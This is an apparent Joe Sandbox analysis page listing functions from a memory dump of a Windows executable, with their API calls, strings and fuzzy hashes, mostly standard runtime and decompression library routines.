Opcode ID: 76424cc0ec02945f4fd2ccc640ea60475aa997d4131cc6c9dd67359800dfdabb
Instruction ID: 380e9c40f5f464d1825334b1c62e30f69aef26554555d43a324aa17a0133fadb
Opcode Fuzzy Hash: 76424cc0ec02945f4fd2ccc640ea60475aa997d4131cc6c9dd67359800dfdabb
Instruction Fuzzy Hash: BCD1BF26A0C24286E724FF22D8409B9A761FF44784FF48035DA8D47696FE3DEC49C762

Function 00007FF78DA6A684 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF78DA6A6FD
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF78DA6A715
RtlVirtualUnwind.KERNEL32 ref: 00007FF78DA6A750
IsDebuggerPresent.KERNEL32 ref: 00007FF78DA6A789
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF78DA6A793
UnhandledExceptionFilter.KERNEL32 ref: 00007FF78DA6A79E

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 823e7cd4caae9fc37a1281b2c5c5551f9de180c5e8ac7c275112a8c84bbfd9bf
Instruction ID: 210604521b80db3426c04160ad18cf429562a1300d879aa1a129ca8a08bda6d5
Opcode Fuzzy Hash: 823e7cd4caae9fc37a1281b2c5c5551f9de180c5e8ac7c275112a8c84bbfd9bf
Instruction Fuzzy Hash: D9318372608B8185DB20DF65E8406AEB3A0FB84758FB40135EA9D43B54EF3CC949CB11

Function 00007FF78DA718E4 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA71930
FindFirstFileExW.KERNEL32 ref: 00007FF78DA71A3A

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: 5fde642f47360a120b3bbdc49a752417dcdc94f7dd720a243365bab1f94d45be
Instruction ID: a1bce2ff5b73ff05c9b725e7203ca6e01a96b3c41a64b0834b2eb27764de7e63
Opcode Fuzzy Hash: 5fde642f47360a120b3bbdc49a752417dcdc94f7dd720a243365bab1f94d45be
Instruction Fuzzy Hash: 69B19562B1C69281EA61AB6294009BAE3D1FB44BD4FB46531DA9D07B85FF3CEC49C311

Function 00007FF78DA75EEC Relevance: 6.1, APIs: 4, Instructions: 143timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF78DA75F1A

Part of subcall function 00007FF78DA75668: _invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA7567C

_get_daylight.LIBCMT ref: 00007FF78DA75F2B

Part of subcall function 00007FF78DA75608: _invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA7561C

_get_daylight.LIBCMT ref: 00007FF78DA75F3C

Part of subcall function 00007FF78DA75638: _invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA7564C

Part of subcall function 00007FF78DA6A9B8: RtlFreeHeap.NTDLL(?,?,?,00007FF78DA72D92,?,?,?,00007FF78DA72DCF,?,?,00000000,00007FF78DA73295,?,?,?,00007FF78DA731C7), ref: 00007FF78DA6A9CE
Part of subcall function 00007FF78DA6A9B8: GetLastError.KERNEL32(?,?,?,00007FF78DA72D92,?,?,?,00007FF78DA72DCF,?,?,00000000,00007FF78DA73295,?,?,?,00007FF78DA731C7), ref: 00007FF78DA6A9D8

GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF78DA7617C), ref: 00007FF78DA75F63

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 3458911817-0
Opcode ID: 8084827ab6892e9bf44fc7ae7df730cc4e836e683a41a1d7f4ca7a201d78ec16
Instruction ID: fea08cdac5ad3856041eb7e56a9f0c347b4476cbce18b31b0108825ba6bba921
Opcode Fuzzy Hash: 8084827ab6892e9bf44fc7ae7df730cc4e836e683a41a1d7f4ca7a201d78ec16
Instruction Fuzzy Hash: AE519332A0C64296E710FF31D8819A9E361BB48784FF48135DA9D47696FF3CE809C762

Function 00007FF78DA5D080 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF78DA5D0AC
GetCurrentThreadId.KERNEL32 ref: 00007FF78DA5D0BA
GetCurrentProcessId.KERNEL32 ref: 00007FF78DA5D0C6
QueryPerformanceCounter.KERNEL32 ref: 00007FF78DA5D0D6

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: c7e0dc91749b0d7e19b464317103f3c41f17e8dff95374d43b780ecdfe6bf67b
Instruction ID: 2b82e7596788295ef3bd1dec6afb70ac7eef2c61660b935b4410f61e1dfb9a20
Opcode Fuzzy Hash: c7e0dc91749b0d7e19b464317103f3c41f17e8dff95374d43b780ecdfe6bf67b
Instruction Fuzzy Hash: 4C114822B18B05CAEB00DF60E8546B973B4FB19758FA40E31DA6D867A4EF38D558C391

Function 00007FF78DA73C80 Relevance: 4.8, APIs: 3, Instructions: 340COMMON

Download Yara Rule

APIs

memcpy_s.LIBCPMT ref: 00007FF78DA73CE6
memcpy_s.LIBCPMT ref: 00007FF78DA73D11

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: memcpy_s
String ID:
API String ID: 1502251526-0
Opcode ID: 723df14fe8405c9280d13974b9e0b256372cd2939c4def8ecbac686ef57d643c
Instruction ID: 2c9768a1783248fcb47ef6f90f8879f97d37fac820d64c1cc5e29d0f81a28156
Opcode Fuzzy Hash: 723df14fe8405c9280d13974b9e0b256372cd2939c4def8ecbac686ef57d643c
Instruction Fuzzy Hash: FFC1F472B1D68687D7249F59A044A6EF7A1F794B84FA18134DB9E43784EB3DEC05CB00

Function 00007FF78DA5A4E4 Relevance: 4.1, Strings: 3, Instructions: 398COMMON

Download Yara Rule

Strings

, xrefs: 00007FF78DA5A5CB
header crc mismatch, xrefs: 00007FF78DA5A991
unknown header flags set, xrefs: 00007FF78DA5A535

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID:
String ID: $header crc mismatch$unknown header flags set
API String ID: 0-1127688429
Opcode ID: 41de47797cb66f1826093f4b1d60416fd99d26d25a53ce6bfd127eaa39bdfb5e
Instruction ID: 849c8b57624331b01c8131944dec6a2fd84527bff38ca56907daa40ff57d8506
Opcode Fuzzy Hash: 41de47797cb66f1826093f4b1d60416fd99d26d25a53ce6bfd127eaa39bdfb5e
Instruction Fuzzy Hash: F4F1A362B0C2D68AE795AF158088F3ABAB9FF44744F764138DA4987390EB38EC44C751

Function 00007FF78DA79798 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FF78DA799E7
RaiseException.KERNEL32 ref: 00007FF78DA799F8

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: 2f74b2cda317b12825bead48c90720a79ba1abfeed249303701d480a1679e454
Instruction ID: 8817dd7386b36dc68a497dbf377de1813ced7801b2b5c1831d9a6151d9c6f7ea
Opcode Fuzzy Hash: 2f74b2cda317b12825bead48c90720a79ba1abfeed249303701d480a1679e454
Instruction Fuzzy Hash: CFB1A073A09B858BEB15CF29C44676C77E0F784B48F248822DB9D837A4DB39D855C711

Function 00007FF78DA63A14 Relevance: 2.8, Strings: 2, Instructions: 350COMMON

Download Yara Rule

Strings

, xrefs: 00007FF78DA63B82
, xrefs: 00007FF78DA63DC4

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-227171996
Opcode ID: 3098a868bf4d382f942c0283459ab4806c0f53f7eb332f8174ba39f6fc7772a0
Instruction ID: 19c9064343c1ab4556a3f1c8c8a7ceccb38be5c46be0971ff24c95a84bbfd161
Opcode Fuzzy Hash: 3098a868bf4d382f942c0283459ab4806c0f53f7eb332f8174ba39f6fc7772a0
Instruction Fuzzy Hash: 49E1C63A90C642C5EB68AE55A05093DB3A0FF45B48FB84535DA4E036D4EF2ADC4BC712

Function 00007FF78DA5A34B Relevance: 2.7, Strings: 2, Instructions: 216COMMON

Download Yara Rule

Strings

incorrect header check, xrefs: 00007FF78DA5A4CB
invalid window size, xrefs: 00007FF78DA5A4B2

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID:
String ID: incorrect header check$invalid window size
API String ID: 0-900081337
Opcode ID: 5aba513b73eb8988df982bd12c0510577381bb82701c7147ce4cedc0b53fa8f7
Instruction ID: 52bc5df55bb1ddff33e2093f64100d885bfd43fca29f19e67bb84d50666a6964
Opcode Fuzzy Hash: 5aba513b73eb8988df982bd12c0510577381bb82701c7147ce4cedc0b53fa8f7
Instruction Fuzzy Hash: D891C572A1C28687E7A49E55C448F3E7AB9FB44354F714139DA4A867C0EB3CED44CB12

Function 00007FF78DA6DF60 Relevance: 2.6, Strings: 2, Instructions: 144COMMON

Download Yara Rule

Strings

gfff, xrefs: 00007FF78DA6E0EA
e+000, xrefs: 00007FF78DA6E06D

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID:
String ID: e+000$gfff
API String ID: 0-3030954782
Opcode ID: b62be3d0480bbbd0e022829aa0980c84d51f153df7fa61e27e52cad2b39beef0
Instruction ID: 7ed6c8ffc3643cd78794621b8fe7ee0693c1bf3b2e1750e003330617e18c99dd
Opcode Fuzzy Hash: b62be3d0480bbbd0e022829aa0980c84d51f153df7fa61e27e52cad2b39beef0
Instruction Fuzzy Hash: E6517C22B1C2C186EB249E75A800B79A791F744B94FB9C231CB5847AC5EF3DD949C712

Function 00007FF78DA70938 Relevance: 2.0, APIs: 1, Instructions: 461COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: CurrentFeaturePresentProcessProcessor
String ID:
API String ID: 1010374628-0
Opcode ID: 2d471da97334de2acf0262392bad6ca7d41a72817533bf8b70dbf69db73f0db4
Instruction ID: 0f00d9e303f61a6806900034e7a54875e015c2910812862d717b3990b3df0eae
Opcode Fuzzy Hash: 2d471da97334de2acf0262392bad6ca7d41a72817533bf8b70dbf69db73f0db4
Instruction Fuzzy Hash: 6A02A622A1E64340FA55BB61A440E7AE6A0BF45B90FF54534EDAD463D1FE3CEC09C326

Function 00007FF78DA6DACC Relevance: 1.5, Strings: 1, Instructions: 254COMMON

Download Yara Rule

Strings

gfffffff, xrefs: 00007FF78DA6DE0E

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID:
String ID: gfffffff
API String ID: 0-1523873471
Opcode ID: bcab6200947a377332474fa44b4677218d40dcace4b26705986274372b0e4f91
Instruction ID: a0d170a25de1e97471c68bfd5b793666ff8caea07ab32e523abce0668b2bca20
Opcode Fuzzy Hash: bcab6200947a377332474fa44b4677218d40dcace4b26705986274372b0e4f91
Instruction Fuzzy Hash: E1A13563A0D789C6EF21EF65A400BA9BB90FB54BC4F648031DA8D47785EE3DD909C712

Function 00007FF78DA68804 Relevance: 1.4, Strings: 1, Instructions: 177COMMON

Download Yara Rule

Strings

TMP, xrefs: 00007FF78DA68823

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: TMP
API String ID: 3215553584-3125297090
Opcode ID: 5f14576829c2a404d65bc8e6713cc3c63392e5e443677cfdf71167dbae88db0a
Instruction ID: 0bbacca351061b599f00765b229f1745791277002721db45a1a9f9947d987dfa
Opcode Fuzzy Hash: 5f14576829c2a404d65bc8e6713cc3c63392e5e443677cfdf71167dbae88db0a
Instruction Fuzzy Hash: 3F519002B0C24281FA64BBB6691197AD6987F44BE4FF84434DE4D477D6FE3CE809C222

Function 00007FF78DA734F0 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF78DA734F4

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 39e33fd4700d97162abc6aa121af668d241eeaeaed41ff08026f27548e358ff0
Instruction ID: 6e1f079d3ee519772456acab11b79f0d83492fff3bbe4eb97695af6a2edcc4c4
Opcode Fuzzy Hash: 39e33fd4700d97162abc6aa121af668d241eeaeaed41ff08026f27548e358ff0
Instruction Fuzzy Hash: 74B09264E0BA02D2EA083B216C86A2862A5BF58700FF80138C06D40330FE2C28E99723

Function 00007FF78DA63610 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f2a1199bc68cddcf3b08423a19983f3afdde0c7e054ddf4c3f66946da216a90
Instruction ID: 8eb5adf2ebe507bd497176496766e0a5b7c2f734b134cf08a31d4b1f71eca9e9
Opcode Fuzzy Hash: 5f2a1199bc68cddcf3b08423a19983f3afdde0c7e054ddf4c3f66946da216a90
Instruction Fuzzy Hash: D4D1DB6AA0C642C5E728DFA5A050A7DA7A0FF05B48FB84135CE0D07795EF39DC4AC722

Function 00007FF78DA59870 Relevance: .3, Instructions: 287COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 069bb313382d3adaff5ac451a95cb3dd74dda88d5dd80987c9f0d361d468a953
Instruction ID: 22e13f0c1b0dc4495ee6182960a3a4502ee4fb90eaa86eabdc7e21d5481de9a1
Opcode Fuzzy Hash: 069bb313382d3adaff5ac451a95cb3dd74dda88d5dd80987c9f0d361d468a953
Instruction Fuzzy Hash: 2DC19D762181E08BD28AEA29E47947A73E1F78930DBE5406BEF8747785C73CA414DB21

Function 00007FF78DA62C80 Relevance: .2, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2617fd8e8f043c0917c6a56c5cabdca8b91b1cd744d59a3c82f21f331bc63c74
Instruction ID: a1f1df9d99e79f361a7b44f6c447652440e9d727942869a1ecd4880b2c5651c4
Opcode Fuzzy Hash: 2617fd8e8f043c0917c6a56c5cabdca8b91b1cd744d59a3c82f21f331bc63c74
Instruction Fuzzy Hash: 4BB1A972A4D681C9E7649F79E040A2CBBA0F749B48FB84135CB4E47394EF29D859C722

Function 00007FF78DA6E5E0 Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73948b09e9837a821f5a3b4bbb106c60bdc2a86aaa707f45330964650836ebfe
Instruction ID: 724b8a96771a33184dcfc799eca2744ab5c8d1dac0433f64b0794c78452ae271
Opcode Fuzzy Hash: 73948b09e9837a821f5a3b4bbb106c60bdc2a86aaa707f45330964650836ebfe
Instruction Fuzzy Hash: 0981F472A0C28186DB74DB59B440B7AAA91FB45794FB08235DB9D43B84EF3CDA08CB11

Function 00007FF78DA76488 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

